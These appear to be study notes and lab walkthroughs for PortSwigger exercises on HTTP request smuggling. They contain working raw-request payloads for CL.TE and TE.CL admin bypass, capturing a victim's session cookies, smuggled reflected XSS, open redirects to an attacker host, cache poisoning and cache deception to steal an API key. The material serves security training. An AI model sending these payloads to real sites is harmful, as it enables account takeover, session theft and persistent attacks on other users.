Using HTTP Request Smuggling to Bypass Front-end Security Controls

In some applications, the front-end server enforces security controls and forwards allowed requests to the back-end server, which trusts them without further checks. An HTTP request smuggling vulnerability can bypass these controls by smuggling in a request to a restricted URL.

Suppose the current user is permitted to access /home but not /admin. They can bypass this restriction using the following request smuggling attack including two requests (assume that this is CL.TE vulnerability):

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: x
GET /home HTTP/1.1
Host: vulnerable-website.com
...

The front-end server sees two requests here, both for /home, and so the requests are forwarded to the back-end server. However, the back-end server sees one request for /home and one request for /admin:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
...

It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL.

Lab: Exploiting HTTP Request Smuggling to Bypass Front-end Security Controls, CL.TE Vulnerability

Abstract

The front-end server doesn’t support chunked encoding (CL.TE). There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Try to send this request twice:

POST / HTTP/1.1
Content-Length: 32
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Foo: x

The responses:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8345
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 2676
 
...
Admin interface only available to local users

Info

View the solution, found that I need to add Host: localhost into the smuggled request to access localhost/admin instead of LAB-ID.web-security-academy.net/admin.

The modified attack request:

POST / HTTP/1.1
Content-Length: 49
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: localhost
Foo: x

Response of the second request shows a problem:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50
 
{"error":"Duplicate header names are not allowed"}

To overcome this problem, I need to add x= at the end of the smuggled request’s body:

POST / HTTP/1.1
Content-Length: 47
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: localhost
 
x=

This will convert remaining header lines of the subsequent request into request body. When doing this, the smuggled request does not have Content-Type or Transfer-Encoding so it can not be a valid request.

Add Content-Type as it easier to specify how many bytes we want to include in our smuggled request’s body:

POST / HTTP/1.1
Content-Length: 66
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: localhost
Content-Length: 3
 
x=

Response shows that we can access /admin at localhost:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=ICJDL6iX5tyROBQKwfzN6eGNYIayqP5m; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 3211
 
...
<div>
	<span>carlos - </span>
	<a href="/admin/delete?username=carlos">Delete</a>
</div>

Change request into this to delete carlos user:

POST / HTTP/1.1
Content-Length: 90
Transfer-Encoding: chunked
 
0
 
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 3
 
x=

Summary

When we need to reuse headers of the normal (subsequent) request, we use Foo: x header.

When we need to convert headers into request body, we use x= request body. In this case, we also need to add Content-Length to the smuggled request.

Lab: Exploiting HTTP Request Smuggling to Bypass Front-end Security Controls, TE.CL Vulnerability

Abstract

The back-end server doesn’t support chunked encoding (TE.CL). There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Same with previous lab, we got 401 status code if not using Host: localhost:

POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
 
28
GET /admin HTTP/1.1
Content-Length: 6
 
0
 
 
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
Set-Cookie: session=MsBKJ6sCwFMDtOexLTqyABE9h69R8cHn; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 2676
 
...
Admin interface only available to local users

Add Host: localhost and modify chunk size:

Content-Length: 4
Transfer-Encoding: chunked
 
39
GET /admin HTTP/1.1
Host: localhost
Content-Length: 6
 
0
 
 

Now we can access localhost/admin:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=sxlfAzY2jFOazXjJF7kUzM7dSQRQ98vn; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 3211
 
...
<a href="/admin/delete?username=carlos">Delete</a>

Change smuggled request to delete carlos user:

POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
 
51
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 6
 
0
 
 

Revealing Front-end Request Rewriting

In many applications, the front-end server rewrites requests before forwarding them to the back-end, often by adding headers such as X-Forwarded-For header with the user’s IP.

If your smuggled requests lack headers typically added by the front-end, the back-end server might not handle them correctly, causing the attack to fail.

To reveal how the front-end rewrites requests, follow these steps:

  1. Find a POST request that reflects a parameter in the application’s response.
  2. Arrange the parameters so that the reflected one appears last in the body.
  3. Smuggle this request to the back-end, followed by the normal request whose rewritten form you want to reveal.

Suppose an application has a login function that reflects the value of the email parameter:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
 
email=wiener@normal-user.net

This results in a response containing the following:

<input id="email" value="wiener@normal-user.net" type="text">

Here you can use the following request smuggling attack to reveal the rewriting that is performed by the front-end server:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
 
0
 
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
 
email=POST /login HTTP/1.1
Host: vulnerable-website.com

The requests will be rewritten by the front-end server to include the additional headers, and then the back-end server will process the smuggled request and treat the rewritten second request as being the value of the email parameter:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

Note

Since the final request is being rewritten, you don’t know how long it will end up. The solution is to guess an initial value that is a bit bigger than the submitted request, and then gradually increase the value to retrieve more information, until you have everything of interest.

Lab: Exploiting HTTP Request Smuggling to Reveal Front-end Request Rewriting

Abstract

Front-end server doesn’t support chunked encoding (CL.TE).

There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

There is a request with reflected param:

POST / HTTP/1.1
Content-Length: 12
 
search=hello
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 3281
 
<h1>0 search results for 'hello'</h1>

Send a request to reveal hidden header:

POST / HTTP/1.1
Content-Length: 52
Transfer-Encoding: chunked
 
0
 
POST / HTTP/1.1
Content-Length: 100
 
search=

Bypass header checking of back-end server

The attack request will be rewritten to have the hidden header and then will be forwarded to back-end server. When back-end server receive the forwarded request, it sees the hidden header added by the front-end server so it will process without knowing that the smuggled request does not have this header.

The next rewritten request will be placed into the value of search param of the smuggled request.

Found a header named X-hEHkXT-Ip in the response of the smuggled request:

<h1>0 search results for 'POST / HTTP/1.1
	X-hEHkXT-Ip: 116.111.184.204
	Host: 0a850038034783a180091c9100d30033.web-sec'
</h1>

Change smuggled request to access /admin page:

Content-Length: 73
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
X-hEHkXT-Ip: 127.0.0.1
Content-Length: 3
 
x=

Found the endpoint:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=h8Nvk0BXbqq3b7HEfW71w6E8lpVvz0Mo; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 3172
 
...
<a href="/admin/delete?username=carlos">Delete</a>

Finally, update the smuggled request to delete carlos user:

POST / HTTP/1.1
Content-Length: 97
Transfer-Encoding: chunked
 
0
 
POST /admin/delete?username=carlos HTTP/1.1
X-hEHkXT-Ip: 127.0.0.1
Content-Length: 3
 
x=

Bypassing Client Authentication

As part of the TLS handshake, servers authenticate themselves with the client (usually a browser) by providing a certificate. This certificate contains their “common name” (CN), which should match their registered hostname.

Some sites implement a form of mutual TLS authentication, where clients must also present a certificate to the server. Moreover, front-end servers sometimes append a header containing the client’s CN to any incoming requests:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

As these headers are supposed to be completely hidden from users, they are often implicitly trusted by back-end servers. Assuming you’re able to send the right combination of headers and values, this may enable you to bypass access controls.

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

Smuggled requests are hidden from the front-end altogether, so any headers they contain will be sent to the back-end unchanged.

Capturing Other Users’ Requests

If the application contains any kind of functionality that allows you to store and later retrieve textual data, you can potentially use this to capture the contents of other users’ requests. These may include session tokens or other sensitive data submitted by the user.

For example, suppose an application uses the following request to submit a blog post comment, which will be stored and displayed on the blog:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

Now consider what would happen if you smuggle an equivalent request with an overly long Content-Length header and the comment parameter positioned at the end of the request as follows:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
 
0
 
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

When another request is sent to the back-end server down the same connection, some first bytes are effectively appended to the smuggled request as follows:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
... 

If you encounter a timeout, this probably means that the Content-Length you’ve specified is higher than the actual length of the victim’s request. In this case, simply reduce the value until the attack works again.

Note

One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the & character, meaning that the content that is stored from the victim user’s request will end at the first &, which might even appear in the query string.

Lab: Exploiting HTTP Request Smuggling to Capture Other Users’ Requests

Abstract

Front-end server doesn’t support chunked encoding (CL.TE).

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.

Construct an attack request:

POST /post/comment HTTP/1.1
Host: 0a4000ea04564fa081af0206000400e2.web-security-academy.net
Cookie: session=3tl34kIXR71vzF60VmX8Imt2ocpjFB9U
Content-Length: 299
Transfer-Encoding: chunked
 
0
 
POST /post/comment HTTP/1.1
Host: 0a4000ea04564fa081af0206000400e2.web-security-academy.net
Cookie: session=3tl34kIXR71vzF60VmX8Imt2ocpjFB9U
Content-Type: application/x-www-form-urlencoded
Content-Length: 900
 
csrf=ooSpRTITclYg9v0NDNnBQB6zNj75pkNh&postId=6&name=a&email=a%40a.com&comment=

First, we need to specify the current cookie or the response of the smuggled request will be:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=GN7xZmIxHZc84Eo4h0PcgxPkYmVcMcZO; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 60
 
"Invalid CSRF token (session does not contain a CSRF token)"

Then, we also need to use the Content-Type header or the response of the smuggled request will be:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 34
 
"Invalid email address: a%40a.com"

Value of Content-Length is derived from trials and errors.

When sending the above attack request twice:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 22
 
"Invalid blog post ID"
HTTP/1.1 302 Found
Location: /post/comment/confirmation?postId=6
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

Our attack request will be stored:

<p>
	POST /post/comment HTTP/1.1
	Host: 0a4000ea04564fa081af0206000400e2.web-security-academy.net
	Cookie: session=3tl34kIXR71vzF60VmX8Imt2ocpjFB9U
	Cache-Control: max-age=0
	Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
	Sec-Ch-Ua-Mobile: ?0
	Sec-Ch-Ua-Platform: "Windows"
	Accept-Language: en-US
	Upgrade-Insecure-Requests: 1
	Origin: https://0a4000ea04564fa081af0206000400e2.web-security-academy.net
	Content-Type: application/x-www-form-urlencoded
	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
	Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
	Sec-Fetch-Site: same-origin
	Sec-Fetch-Mode: navigate
	Sec-Fetch-User: ?1
	Sec-Fetch-Dest: do
</p>

Try it some more until the responses are constantly like this:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 22
 
"Invalid blog post ID"

Reload the blog post and found a GET request that contains user request:

<p>
	GET / HTTP/1.1
	Host: 0a4000ea04564fa081af0206000400e2.web-security-academy.net
	sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
	sec-ch-ua-mobile: ?0
	sec-ch-ua-platform: "Linux"
	upgrade-insecure-requests: 1
	user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
	accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
	sec-fetch-site: none
	sec-fetch-mode: navigate
	sec-fetch-user: ?1
	sec-fetch-dest: document
	accept-encoding: gzip, deflate, br, zstd
	accept-language: en-US,en;q=0.9
	priority: u=0, i
	cookie: victim-fingerprint=07fq6knxvqbpCiegixdmBhYpAqo9Dozi; secret=eq6V8Z70iKYoBgNpdsWiEaSWJ5Au2HLo; session=nffpxjEPNHC1XlwdfJFwloxWRJdPm24P
	Co
</p>

Use the above cookies to access user’s page:

GET /my-account HTTP/2
Host: 0a4000ea04564fa081af0206000400e2.web-security-academy.net
Cookie: victim-fingerprint=07fq6knxvqbpCiegixdmBhYpAqo9Dozi; secret=eq6V8Z70iKYoBgNpdsWiEaSWJ5Au2HLo; session=nffpxjEPNHC1XlwdfJFwloxWRJdPm24P

Response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3303
 
<p>Your username is: administrator</p>

Using HTTP Request Smuggling to Exploit Reflected XSS

If an application is vulnerable to HTTP request smuggling and also contains Reflected XSS, you can use a request smuggling attack to hit other users of the application. This approach is superior to normal exploitation of reflected XSS in two ways:

  • It requires no interaction with victim users. You just smuggle a request containing the XSS payload and the next user’s request that is processed by the back-end server will be hit.
  • It can be used to exploit XSS behavior in parts of the request that cannot be trivially controlled in a normal reflected XSS attack, such as HTTP request headers.

For example, suppose an application has a reflected XSS vulnerability in the User-Agent header. You can exploit this in a request smuggling attack as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
 
0
 
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

Lab: Exploiting HTTP Request Smuggling to Deliver Reflected XSS

Abstract

Front-end server doesn’t support chunked encoding (CL.TE).

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).

This is how User-Agent is reflected:

<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36">

Construct an attack request:

POST /post/comment HTTP/1.1
Content-Length: 99
Transfer-Encoding: chunked
 
0
 
GET /post?postId=10 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Length: 3
 
x=

The payload comes from XSS in HTML Tag Attributes.

Send the attack request twice to confirm:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 22
 
"Invalid blog post ID"
 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=562O0PxWe2nJq004VQTNy5VkSnWSUvIN; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 12658
 
...
<input required type="hidden" name="userAgent" value="">
<script>alert(1)</script>

Send the attack request couple times to solve the lab.

Using HTTP Request Smuggling to Turn an On-site Redirect into an Open Redirect

Many applications perform on-site redirects from one URL to another and place the hostname from the request’s Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:

GET /home HTTP/1.1
Host: normal-website.com
 
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
 
0
 
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

The smuggled request will trigger a redirect to the attacker’s website, which will affect the next user’s request that is processed by the back-end server. For example:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
 
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In some cases, you may encounter server-level redirects that use the path to construct a root-relative URL for the Location header, for example:

GET /example HTTP/1.1
Host: normal-website.com
 
HTTP/1.1 301 Moved Permanently
Location: /example/

This can potentially still be used for an open redirect if the server lets you use a protocol-relative URL in the path:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
 
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

Seealso

Issues - Security : Protocol-Relative Resource Links | Screaming Frog

Using HTTP Request Smuggling to Perform Web Cache Poisoning

If any part of the front-end infrastructure performs caching of content (generally for performance reasons), then it might be possible to poison the cache with the off-site redirect response. This will make the attack persistent, affecting any user who subsequently requests the affected URL.

Lab: Exploiting HTTP Request Smuggling to Perform Web Cache Poisoning

Abstract

Front-end server doesn’t support chunked encoding (CL.TE). The front-end server is configured to cache certain responses.

To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.

Found an on-site redirect in this request:

GET /post/next?postId=7 HTTP/2
Host: 0aa0007e04ce51ae8351bf3b00710096.web-security-academy.net
HTTP/2 302 Found
Location: https://0aa0007e04ce51ae8351bf3b00710096.web-security-academy.net/post?postId=8
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Construct an attack request:

POST / HTTP/1.1
Content-Length: 129
Transfer-Encoding: chunked
 
0
 
GET /post/next?postId=1 HTTP/1.1
Host: exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.net
Content-Length: 3
 
x=

Note

We can not use trailing header such as:

Content-Length: 111
Transfer-Encoding: chunked
 
0
 
GET /post/next?postId=1 HTTP/1.1
Host: exploit-0aaa00aa04cd766281d0b5bd019f00df.exploit-server.net
Foo: x

Response shows that we can not duplicate headers:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50
 
{"error":"Duplicate header names are not allowed"}

Send the attack request twice, the second response indicates that we can redirect to an off-site URL:

HTTP/1.1 302 Found
Location: https://exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.net/post?postId=2
Set-Cookie: session=FOGn0sC8s5nZeLriuVaiq3Xh0iefk5Zp; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
 

On the exploit server, store a JavaScript file with alert(document.cookie) as content at /post?postId=2 endpoint.

Then, send the attack request again. The smuggled request should be queued on the back-end server.

After that, send this request:

GET /resources/js/tracking.js HTTP/2
Host: 0aa0007e04ce51ae8351bf3b00710096.web-security-academy.net

The front-end server will receive and cache this response as well as return it to the client:

HTTP/2 302 Found
Location: https://exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.net/post?postId=2
Set-Cookie: session=33KFc2AhV3rNpU0JgpGZ1132Ut8g6cGG; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

Now, the cache of front-end server is poisoned. Any subsequent requests to /resources/js/tracking.js will be redirected to https://exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.net/post?postId=2, which contains our malicious JavaScript code.

Using HTTP Request Smuggling to Perform Web Cache Deception

This works similarly to the web cache poisoning attack but with a different purpose.

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
 
0
 
GET /private/messages HTTP/1.1
Foo: x

The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

The front-end server caches this response against what it believes is the URL in the second request, which is /static/some-image.png:

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
 
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

Note

An important caveat here is that the attacker doesn’t know the URL against which the sensitive content will be cached, since this will be whatever URL the victim user happened to be requesting when the smuggled request took effect. The attacker might need to fetch a large number of static URLs to discover the captured content.

Lab: Exploiting HTTP Request Smuggling to Perform Web Cache Deception

Abstract

Front-end server doesn’t support chunked encoding (CL.TE). The front-end server is caching static resources.

To solve the lab, perform a request smuggling attack such that the next user’s request causes their API key to be saved in the cache. Then retrieve the victim user’s API key from the cache and submit it as the lab solution. You will need to wait for 30 seconds from accessing the lab before attempting to trick the victim into caching their API key.

You can log in to your own account using the following credentials: wiener:peter

Found that this request has API key in its response:

GET /my-account?id=wiener HTTP/2
Host: 0ab10010044299dc80ee763500b2002f.web-security-academy.net
Cookie: session=YWArazLnWX4kmuQSqcTthtgsQ2YPXhhK
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 6545
 
...
<div>Your API Key is: DP4zfl5wFK4kUS9EuTaDTYiq5gGaIM2I</div>

Without the id param, the response still have the API key.

Construct an attack request to my-account endpoint:

POST / HTTP/1.1
Content-Length: 37
Transfer-Encoding: chunked
 
0
 
GET /my-account HTTP/1.1
Foo: x

Send this request a couple of times.

Then, open the / endpoint in an incognito browser. This is because the home page has a lot of resources (images, scripts, styles, etc) and loading in an incognito browser will fetch all of the resources disregarding the cache.

Use “Search” feature of Burp Suite to find any resource that has “API” string. Or, we can find it manually.

And it is /resources/js/tracking.js resource. Send request to this endpoint and found API key of administrator:

<p>Your username is: administrator</p>
<div>Your API Key is: N7KY13rnQ128ZJQtC5rtiLiFX6gw772n</div>
list
from outgoing([[Port Swigger - Exploiting HTTP Request Smuggling Vulnerabilities]])
sort file.ctime asc

Resources